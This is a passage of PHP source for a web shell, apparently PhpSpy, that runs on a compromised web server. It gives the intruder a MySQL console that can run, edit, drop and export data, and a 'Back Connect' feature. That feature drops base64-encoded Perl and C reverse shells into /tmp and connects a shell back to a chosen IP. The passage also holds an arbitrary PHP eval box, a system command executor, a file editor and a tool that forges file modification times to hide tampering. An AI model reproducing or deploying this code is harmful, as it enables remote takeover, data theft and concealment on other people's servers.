  718. $keystr = $valstr = $tmp = '';
  719. foreach($insertsql as $key => $val) {
  720. if ($val) {
  721. $keystr .= $tmp.$key;
  722. $valstr .= $tmp."'".addslashes($val)."'";
  723. $tmp = ',';
  724. }
  725. }
  726. if ($keystr && $valstr) {
  727. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  728. m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
  729. }
  730. }
  731. if ($update && $insertsql && $base64) {
  732. $valstr = $tmp = '';
  733. foreach($insertsql as $key => $val) {
  734. $valstr .= $tmp.$key."='".addslashes($val)."'";
  735. $tmp = ',';
  736. }
  737. if ($valstr) {
  738. $where = base64_decode($base64);
  739. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  740. m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());
  741. }
  742. }
  743. if ($doing == 'del' && $base64) {
  744. $where = base64_decode($base64);
  745. $delete_sql = "DELETE FROM $tablename WHERE $where";
  746. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  747. m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());
  748. }
  749.  
  750. if ($tablename && $doing == 'drop') {
  751. dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
  752. if (q("DROP TABLE $tablename")) {
  753. m('Drop table of success');
  754. $tablename = '';
  755. } else {
  756. m(mysql_error());
  757. }
  758. }
  759.  
  760. $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
  761.  
  762. formhead(array('title'=>'MYSQL Manager'));
  763. makehide('action','sqladmin');
  764. p('<p>');
  765. p('DBHost:');
  766. makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
  767. p(':');
  768. makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
  769. p('DBUser:');
  770. makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
  771. p('DBPass:');
  772. makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
  773. p('DBCharset:');
  774. makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
  775. makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
  776. p('</p>');
  777. formfoot();
  778. ?>
  779. <script type="text/javascript">
  780. function editrecord(action, base64, tablename){
  781. if (action == 'del') {
  782. if (!confirm('Is or isn\'t deletion record?')) return;
  783. }
  784. $('recordlist').doing.value=action;
  785. $('recordlist').base64.value=base64;
  786. $('recordlist').tablename.value=tablename;
  787. $('recordlist').submit();
  788. }
  789. function moddbname(dbname) {
  790. if(!dbname) return;
  791. $('setdbname').dbname.value=dbname;
  792. $('setdbname').submit();
  793. }
  794. function settable(tablename,doing,page) {
  795. if(!tablename) return;
  796. if (doing) {
  797. $('settable').doing.value=doing;
  798. }
  799. if (page) {
  800. $('settable').page.value=page;
  801. }
  802. $('settable').tablename.value=tablename;
  803. $('settable').submit();
  804. }
  805. </script>
  806. <?php
  807. //#++&#1118;+|-+
  808. formhead(array('name'=>'recordlist'));
  809. makehide('doing');
  810. makehide('action','sqladmin');
  811. makehide('base64');
  812. makehide('tablename');
  813. p($dbform);
  814. formfoot();
  815.  
  816. //-&#1073;|&#1080;- +|+&#1090;
  817. formhead(array('name'=>'setdbname'));
  818. makehide('action','sqladmin');
  819. p($dbform);
  820. if (!$dbname) {
  821. makehide('dbname');
  822. }
  823. formfoot();
  824.  
  825. //-&#1073;|&#1080;#&#1101;
  826. formhead(array('name'=>'settable'));
  827. makehide('action','sqladmin');
  828. p($dbform);
  829. makehide('tablename');
  830. makehide('page',$page);
  831. makehide('doing');
  832. formfoot();
  833.  
  834. $cachetables = array();
  835. $pagenum = 30;
  836. $page = intval($page);
  837. if($page) {
  838. $start_limit = ($page - 1) * $pagenum;
  839. } else {
  840. $start_limit = 0;
  841. $page = 1;
  842. }
  843. if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
  844. dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
  845. //+&#1105;+&#1073;- +|+&#1090;-+-&#1074;
  846. $mysqlver = mysql_get_server_info();
  847. p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
  848. $highver = $mysqlver > '4.1' ? 1 : 0;
  849.  
  850. //+&#1105;+&#1073;- +|+&#1090;
  851. $query = q("SHOW DATABASES");
  852. $dbs = array();
  853. $dbs[] = '-- Select a database --';
  854. while($db = mysql_fetch_array($query)) {
  855. $dbs[$db['Database']] = $db['Database'];
  856. }
  857. makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
  858. $tabledb = array();
  859. if ($dbname) {
  860. p('<p>');
  861. p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
  862. if ($tablename) {
  863. p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
  864. }
  865. p('</p>');
  866. mysql_select_db($dbname);
  867.  
  868. $getnumsql = '';
  869. $runquery = 0;
  870. if ($sql_query) {
  871. $runquery = 1;
  872. }
  873. $allowedit = 0;
  874. if ($tablename && !$sql_query) {
  875. $sql_query = "SELECT * FROM $tablename";
  876. $getnumsql = $sql_query;
  877. $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
  878. $allowedit = 1;
  879. }
  880. p('<form action="'.$self.'" method="POST">');
  881. p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
  882. makehide('tablename', $tablename);
  883. makehide('action','sqladmin');
  884. p($dbform);
  885. p('</form>');
  886. if ($tablename || ($runquery && $sql_query)) {
  887. if ($doing == 'structure') {
  888. $result = q("SHOW COLUMNS FROM $tablename");
  889. $rowdb = array();
  890. while($row = mysql_fetch_array($result)) {
  891. $rowdb[] = $row;
  892. }
  893. p('<table border="0" cellpadding="3" cellspacing="0">');
  894. p('<tr class="head">');
  895. p('<td>Field</td>');
  896. p('<td>Type</td>');
  897. p('<td>Null</td>');
  898. p('<td>Key</td>');
  899. p('<td>Default</td>');
  900. p('<td>Extra</td>');
  901. p('</tr>');
  902. foreach ($rowdb as $row) {
  903. $thisbg = bg();
  904. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  905. p('<td>'.$row['Field'].'</td>');
  906. p('<td>'.$row['Type'].'</td>');
  907. p('<td>'.$row['Null'].'&nbsp;</td>');
  908. p('<td>'.$row['Key'].'&nbsp;</td>');
  909. p('<td>'.$row['Default'].'&nbsp;</td>');
  910. p('<td>'.$row['Extra'].'&nbsp;</td>');
  911. p('</tr>');
  912. }
  913. tbfoot();
  914. } elseif ($doing == 'insert' || $doing == 'edit') {
  915. $result = q('SHOW COLUMNS FROM '.$tablename);
  916. while ($row = mysql_fetch_array($result)) {
  917. $rowdb[] = $row;
  918. }
  919. $rs = array();
  920. if ($doing == 'insert') {
  921. p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
  922. } else {
  923. p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
  924. $where = base64_decode($base64);
  925. $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
  926. $rs = mysql_fetch_array($result);
  927. }
  928. p('<form method="post" action="'.$self.'">');
  929. p($dbform);
  930. makehide('action','sqladmin');
  931. makehide('tablename',$tablename);
  932. p('<table border="0" cellpadding="3" cellspacing="0">');
  933. foreach ($rowdb as $row) {
  934. if ($rs[$row['Field']]) {
  935. $value = htmlspecialchars($rs[$row['Field']]);
  936. } else {
  937. $value = '';
  938. }
  939. $thisbg = bg();
  940. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  941. p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
  942. }
  943. if ($doing == 'insert') {
  944. p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
  945. } else {
  946. p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
  947. makehide('base64', $base64);
  948. }
  949. p('</table></form>');
  950. } else {
  951. $querys = @explode(';',$sql_query);
  952. foreach($querys as $num=>$query) {
  953. if ($query) {
  954. p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
  955. switch(qy($query))
  956. {
  957. case 0:
  958. p('<h2>Error : '.mysql_error().'</h2>');
  959. break;
  960. case 1:
  961. if (strtolower(substr($query,0,13)) == 'select * from') {
  962. $allowedit = 1;
  963. }
  964. if ($getnumsql) {
  965. $tatol = mysql_num_rows(q($getnumsql));
  966. $multipage = multi($tatol, $pagenum, $page, $tablename);
  967. }
  968. if (!$tablename) {
  969. $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
  970. $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
  971. preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
  972. $tablename = $matches[1][0];
  973. }
  974. $result = q($query);
  975. p($multipage);
  976. p('<table border="0" cellpadding="3" cellspacing="0">');
  977. p('<tr class="head">');
  978. if ($allowedit) p('<td>Action</td>');
  979. $fieldnum = @mysql_num_fields($result);
  980. for($i=0;$i<$fieldnum;$i++){
  981. $name = @mysql_field_name($result, $i);
  982. $type = @mysql_field_type($result, $i);
  983. $len = @mysql_field_len($result, $i);
  984. p("<td nowrap>$name<br><span>$type($len)</span></td>");
  985. }
  986. p('</tr>');
  987. while($mn = @mysql_fetch_assoc($result)){
  988. $thisbg = bg();
  989. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  990. $where = $tmp = $b1 = '';
  991. foreach($mn as $key=>$inside){
  992. if ($inside) {
  993. $where .= $tmp.$key."='".addslashes($inside)."'";
  994. $tmp = ' AND ';
  995. }
  996. $b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
  997. }
  998. $where = base64_encode($where);
  999. if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
  1000. p($b1);
  1001. p('</tr>');
  1002. unset($b1);
  1003. }
  1004. tbfoot();
  1005. p($multipage);
  1006. break;
  1007. case 2:
  1008. $ar = mysql_affected_rows();
  1009. p('<h2>affected rows : <b>'.$ar.'</b></h2>');
  1010. break;
  1011. }
  1012. }
  1013. }
  1014. }
  1015. } else {
  1016. $query = q("SHOW TABLE STATUS");
  1017. $table_num = $table_rows = $data_size = 0;
  1018. $tabledb = array();
  1019. while($table = mysql_fetch_array($query)) {
  1020. $data_size = $data_size + $table['Data_length'];
  1021. $table_rows = $table_rows + $table['Rows'];
  1022. $table['Data_length'] = sizecount($table['Data_length']);
  1023. $table_num++;
  1024. $tabledb[] = $table;
  1025. }
  1026. $data_size = sizecount($data_size);
  1027. unset($table);
  1028. p('<table border="0" cellpadding="0" cellspacing="0">');
  1029. p('<form action="'.$self.'" method="POST">');
  1030. makehide('action','sqladmin');
  1031. p($dbform);
  1032. p('<tr class="head">');
  1033. p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
  1034. p('<td>Name</td>');
  1035. p('<td>Rows</td>');
  1036. p('<td>Data_length</td>');
  1037. p('<td>Create_time</td>');
  1038. p('<td>Update_time</td>');
  1039. if ($highver) {
  1040. p('<td>Engine</td>');
  1041. p('<td>Collation</td>');
  1042. }
  1043. p('</tr>');
  1044. foreach ($tabledb as $key => $table) {
  1045. $thisbg = bg();
  1046. p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
  1047. p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
  1048. p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
  1049. p('<td>'.$table['Rows'].'</td>');
  1050. p('<td>'.$table['Data_length'].'</td>');
  1051. p('<td>'.$table['Create_time'].'</td>');
  1052. p('<td>'.$table['Update_time'].'</td>');
  1053. if ($highver) {
  1054. p('<td>'.$table['Engine'].'</td>');
  1055. p('<td>'.$table['Collation'].'</td>');
  1056. }
  1057. p('</tr>');
  1058. }
  1059. p('<tr class='.bg().'>');
  1060. p('<td>&nbsp;</td>');
  1061. p('<td>Total tables: '.$table_num.'</td>');
  1062. p('<td>'.$table_rows.'</td>');
  1063. p('<td>'.$data_size.'</td>');
  1064. p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
  1065. p('</tr>');
  1066.  
  1067. p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
  1068. makehide('doing','backupmysql');
  1069. formfoot();
  1070. p("</table>");
  1071. fr($query);
  1072. }
  1073. }
  1074. }
  1075. tbfoot();
  1076. @mysql_close();
  1077. }//end sql backup
  1078.  
  1079.  
  1080. elseif ($action == 'backconnect') {
  1081. !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
  1082. !$yourport && $yourport = '12345';
  1083. $usedb = array('perl'=>'perl','c'=>'c');
  1084.  
  1085. $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
  1086. "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
  1087. "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
  1088. "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
  1089. "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
  1090. "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
  1091. "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
  1092. $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
  1093. "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
  1094. "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
  1095. "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
  1096. "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
  1097. "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
  1098. "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
  1099. "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
  1100.  
  1101. if ($start && $yourip && $yourport && $use){
  1102. if ($use == 'perl') {
  1103. cf('/tmp/angel_bc',$back_connect);
  1104. $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
  1105. } else {
  1106. cf('/tmp/angel_bc.c',$back_connect_c);
  1107. $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
  1108. @unlink('/tmp/angel_bc.c');
  1109. $res = execute("/tmp/angel_bc $yourip $yourport &");
  1110. }
  1111. m("Now script try connect to $yourip port $yourport ...");
  1112. }
  1113.  
  1114. formhead(array('title'=>'Back Connect'));
  1115. makehide('action','backconnect');
  1116. p('<p>');
  1117. p('Your IP:');
  1118. makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
  1119. p('Your Port:');
  1120. makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
  1121. p('Use:');
  1122. makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
  1123. makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
  1124. p('</p>');
  1125. formfoot();
  1126. }//end sql backup
  1127.  
  1128. elseif ($action == 'eval') {
  1129. $phpcode = trim($phpcode);
  1130. if($phpcode){
  1131. if (!preg_match('#<\?#si', $phpcode)) {
  1132. $phpcode = "<?php\n\n{$phpcode}\n\n?>";
  1133. }
  1134. eval("?".">$phpcode<?");
  1135. }
  1136. formhead(array('title'=>'Eval PHP Code'));
  1137. makehide('action','eval');
  1138. maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
  1139. p('<p><a href="http://www.alturks.com/phpspy/plugin/" target="_blank">Get plugins</a></p>');
  1140. formfooter();
  1141. }//end eval
  1142.  
  1143. elseif ($action == 'editfile') {
  1144. if(file_exists($opfile)) {
  1145. $fp=@fopen($opfile,'r');
  1146. $contents=@fread($fp, filesize($opfile));
  1147. @fclose($fp);
  1148. $contents=htmlspecialchars($contents);
  1149. }
  1150. formhead(array('title'=>'Create / Edit File'));
  1151. makehide('action','file');
  1152. makehide('dir',$nowpath);
  1153. makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
  1154. maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
  1155. formfooter();
  1156. }//end editfile
  1157.  
  1158. elseif ($action == 'newtime') {
  1159. $opfilemtime = @filemtime($opfile);
  1160. //$time = strtotime("$year-$month-$day $hour:$minute:$second");
  1161. $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
  1162. formhead(array('title'=>'Clone file was last modified time'));
  1163. makehide('action','file');
  1164. makehide('dir',$nowpath);
  1165. makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1166. makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
  1167. formfooter();
  1168. formhead(array('title'=>'Set last modified'));
  1169. makehide('action','file');
  1170. makehide('dir',$nowpath);
  1171. makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
  1172. p('<p>Instead &raquo;');
  1173. p('year:');
  1174. makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
  1175. p('month:');
  1176. makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
  1177. p('day:');
  1178. makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
  1179. p('hour:');
  1180. makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
  1181. p('minute:');
  1182. makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
  1183. p('second:');
  1184. makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
  1185. p('</p>');
  1186. formfooter();
  1187. }//end newtime
  1188.  
  1189. elseif ($action == 'shell') {
  1190. if (IS_WIN && IS_COM) {
  1191. if($program && $parameter) {
  1192. $shell= new COM('Shell.Application');
  1193. $a = $shell->ShellExecute($program,$parameter);
  1194. m('Program run has '.(!$a ? 'success' : 'fail'));
  1195. }
  1196. !$program && $program = 'c:\windows\system32\cmd.exe';
  1197. !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
  1198. formhead(array('title'=>'Execute Program'));
  1199. makehide('action','shell');
  1200. makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
  1201. p('<p>');
  1202. makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
  1203. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1204. p('</p>');
  1205. formfoot();
  1206. }
  1207. formhead(array('title'=>'Execute Command'));
  1208. makehide('action','shell');
  1209. if (IS_WIN && IS_COM) {
  1210. $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
  1211. makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
  1212. }
  1213. p('<p>');
  1214. makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
  1215. makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
  1216. p('</p>');
  1217. formfoot();
  1218.  
  1219. if ($command) {
  1220. p('<hr width="100%" noshade /><pre>');
  1221. if ($execfunc=='wscript' && IS_WIN && IS_COM) {
  1222. $wsh = new COM('WScript.shell');
  1223. $exec = $wsh->exec('cmd.exe /c '.$command);
  1224. $stdout = $exec->StdOut();
  1225. $stroutput = $stdout->ReadAll();
  1226. echo $stroutput;
  1227. } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
  1228. $descriptorspec = array(
  1229. 0 => array('pipe', 'r'),
  1230. 1 => array('pipe', 'w'),
  1231. 2 => array('pipe', 'w')
  1232. );
  1233. $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
  1234. if (is_resource($process)) {
  1235. fwrite($pipes[0], $command."\r\n");
  1236. fwrite($pipes[0], "exit\r\n");
  1237. fclose($pipes[0]);
  1238. while (!feof($pipes[1])) {
  1239. echo fgets($pipes[1], 1024);
  1240. }
  1241. fclose($pipes[1]);
  1242. while (!feof($pipes[2])) {
  1243. echo fgets($pipes[2], 1024);
  1244. }
  1245. fclose($pipes[2]);
  1246. proc_close($process);
  1247. }
  1248. } else {
  1249. echo(execute($command));
  1250. }
  1251. p('</pre>');
  1252. }
  1253. }//end shell
  1254.  
  1255. elseif ($action == 'phpenv') {
  1256. $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
  1257. $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
  1258. !$dis_func && $dis_func = 'No';
  1259. $info = array(
  1260. 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
  1261. 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
  1262. 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
  1263. 4 => array('Server OS',PHP_OS),
  1264. 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
  1265. 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
  1266. 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
  1267. 8 => array('PHP run mode',strtoupper(php_sapi_name())),
  1268. 9 => array('The file path',__FILE__),
  1269.  
  1270. 10 => array('PHP Version',PHP_VERSION),
  1271. 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
  1272. 12 => array('Safe Mode',getcfg('safe_mode')),
  1273. 13 => array('Administrator',$adminmail),
  1274. 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
  1275. 15 => array('enable_dl',getcfg('enable_dl')),
  1276. 16 => array('display_errors',getcfg('display_errors')),
  1277. 17 => array('register_globals',getcfg('register_globals')),
  1278. 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
  1279. 19 => array('memory_limit',getcfg('memory_limit')),
  1280. 20 => array('post_max_size',getcfg('post_max_size')),
  1281. 21 => array('upload_max_filesize',$upsize),
  1282. 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
  1283. 23 => array('disable_functions',$dis_func),
  1284. );
  1285.  
  1286. if($phpvarname) {
  1287. m($phpvarname .' : '.getcfg($phpvarname));
  1288. }
  1289.  
  1290. formhead(array('title'=>'Server environment'));
  1291. makehide('action','phpenv');
  1292. makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
  1293. formfooter();
  1294.  
  1295. $hp = array(0=> 'Server', 1=> 'PHP');
  1296. for($a=0;$a<2;$a++) {
  1297. p('<h2>'.$hp[$a].' &raquo;</h2>');
  1298. p('<ul class="info">');
  1299. if ($a==0) {
  1300. for($i=1;$i<=9;$i++) {
  1301. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1302. }
  1303. } elseif ($a == 1) {
  1304. for($i=10;$i<=23;$i++) {
  1305. p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
  1306. }
  1307. }
  1308. p('</ul>');
  1309. }
  1310. }//end phpenv
  1311.  
  1312. else {
  1313. m('Undefined Action');
  1314. }
  1315.  
  1316. ?>
  1317. </td></tr></table>
  1318. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
  1319. <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
  1320. Copyright (C) 2004-2008 <a href="http://www.alturks.com" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
  1321. </div>
  1322. </body>
  1323. </html>
  1324.  
  1325. <?php
  1326.  
  1327. /*======================================================
  1328. |&#1087;- +&#1090;
  1329. ======================================================*/
  1330.  
  1331. function m($msg) {
  1332. echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
  1333. echo $msg;
  1334. echo '</div>';
  1335. }
  1336. function scookie($key, $value, $life = 0, $prefix = 1) {
  1337. global $admin, $timestamp, $_SERVER;
  1338. $key = ($prefix ? $admin['cookiepre'] : '').$key;
  1339. $life = $life ? $life : $admin['cookielife'];
  1340. $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
  1341. setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
  1342. }
  1343. function multi($num, $perpage, $curpage, $tablename) {
  1344. $multipage = '';
  1345. if($num > $perpage) {
  1346. $page = 10;
  1347. $offset = 5;
  1348. $pages = @ceil($num / $perpage);
  1349. if($page > $pages) {
  1350. $from = 1;
  1351. $to = $pages;
  1352. } else {
  1353. $from = $curpage - $offset;
  1354. $to = $curpage + $page - $offset - 1;
  1355. if($from < 1) {
  1356. $to = $curpage + 1 - $from;
  1357. $from = 1;
  1358. if(($to - $from) < $page && ($to - $from) < $pages) {
  1359. $to = $page;
  1360. }
  1361. } elseif($to > $pages) {
  1362. $from = $curpage - $pages + $to;
  1363. $to = $pages;
  1364. if(($to - $from) < $page && ($to - $from) < $pages) {
  1365. $from = $pages - $page + 1;
  1366. }
  1367. }
  1368. }
  1369. $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
  1370. for($i = $from; $i <= $to; $i++) {
